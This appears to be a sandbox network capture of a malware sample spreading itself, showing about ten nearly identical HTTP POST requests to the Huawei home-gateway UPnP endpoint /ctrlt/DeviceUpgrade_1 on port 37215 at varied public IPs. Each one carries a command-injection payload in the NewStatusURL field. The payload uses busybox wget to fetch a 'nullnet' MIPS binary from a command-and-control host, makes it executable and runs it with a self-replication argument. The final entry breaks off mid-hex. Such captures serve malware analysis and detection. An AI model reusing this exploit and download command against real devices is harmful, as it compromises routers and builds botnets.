Oct 8, 2024 20:34:45.439434052 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	50072	156.112.111.237	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.441503048 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	60008	156.224.97.47	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.442912102 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	38406	41.171.155.222	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.444231987 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	52806	156.212.37.239	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.445297003 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	45858	156.252.34.119	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.446535110 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	52058	41.62.139.88	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.447602987 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	52538	41.71.213.174	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.449980974 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	40276	41.240.69.60	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.451035023 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	44704	197.47.170.78	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.452764034 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	59484	197.205.151.131	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.454163074 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 